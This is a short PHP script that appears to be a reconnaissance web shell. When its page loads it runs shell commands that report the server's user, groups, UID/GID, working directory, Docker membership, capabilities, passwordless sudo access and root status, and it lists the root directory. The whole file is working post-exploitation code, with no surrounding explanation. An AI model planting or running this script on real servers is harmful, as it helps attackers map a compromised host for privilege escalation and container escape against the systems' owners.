<?php
echo "<pre>";
echo "User: " . shell_exec('whoami') . "\n";
echo "ID: " . shell_exec('id') . "\n";
echo "Groups: " . shell_exec('groups') . "\n";
echo "UID/GID: " . shell_exec('id -u') . "/" . shell_exec('id -g') . "\n";
echo "Current dir: " . shell_exec('pwd') . "\n";
echo "Docker? " . shell_exec('cat /proc/1/cgroup | grep docker') . "\n";
echo "Capabilities: " . shell_exec('capsh --print 2>/dev/null || echo no capsh') . "\n";
echo "Sudo? " . shell_exec('sudo -n whoami 2>&1') . "\n";
echo "Root? " . shell_exec('whoami | grep root && echo YES ROOT || echo not root') . "\n";
system("ls -la / 2>&1");
echo "</pre>";
?>